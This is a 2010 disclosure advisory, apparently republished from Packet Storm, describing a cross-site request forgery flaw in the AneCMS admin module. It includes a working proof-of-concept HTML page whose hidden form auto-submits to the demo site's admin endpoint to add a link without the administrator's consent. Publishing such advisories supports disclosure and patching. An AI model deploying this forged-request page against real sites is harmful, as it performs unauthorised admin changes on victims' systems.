ANE CMS 1 Cross Site Request Forgery

🗓️ 11 Mar 2010 00:00:00Reported by Pratul AgrawalType

packetstorm🔗 packetstormsecurity.com👁 17 Views

ANE CMS CSRF Vulnerability by Pratul Agrawal. Admin module. Proof of concept to add a new link through Cross Site Request Forgery

` =======================================================================  
  
AneCMS CSRF Vulnerability  
  
=======================================================================  
  
by  
  
Pratul Agrawal  
  
  
  
# Vulnerability found in- Admin module  
  
# email [email protected]  
  
# company aksitservices  
  
# Credit by Pratul Agrawal  
  
# Software Ane_CMS  
  
# Category CMS / Portals  
  
# Site p4ge http://demo.anecms.com/index.php  
  
# Plateform php  
  
  
  
# Proof of concept #  
  
Targeted URL: http://server/acp/index.php?p=cfg&m=links  
  
  
Script to Add a new link through Cross Site request forgery  
  
. ................................................................................................................  
  
<html>  
  
<body>  
  
<form name="XYZ" action="http://demo.anecms.com/acp/index.php?p=cfg&m=links&id=0" method="post">  
  
<input type=hidden name="name" value="master">  
  
<input type=hidden name="link" value="master.asp">  
  
<input type=hidden name="type" value="1">  
  
<input type=hidden name="view" value="0">  
  
</form>  
  
<script>  
  
document.XYZ.submit();  
  
</script>  
  
</body>  
  
</html>  
  
. ..................................................................................................................  
  
  
  
After execution refresh the page and u can see that a new link with teh given name is Added automatically.  
  
  
#If you have any questions, comments, or concerns, feel free to contact me.  
  
`

11 Mar 2010 00:00Current

0.5Low risk

Vulners AI Score0.5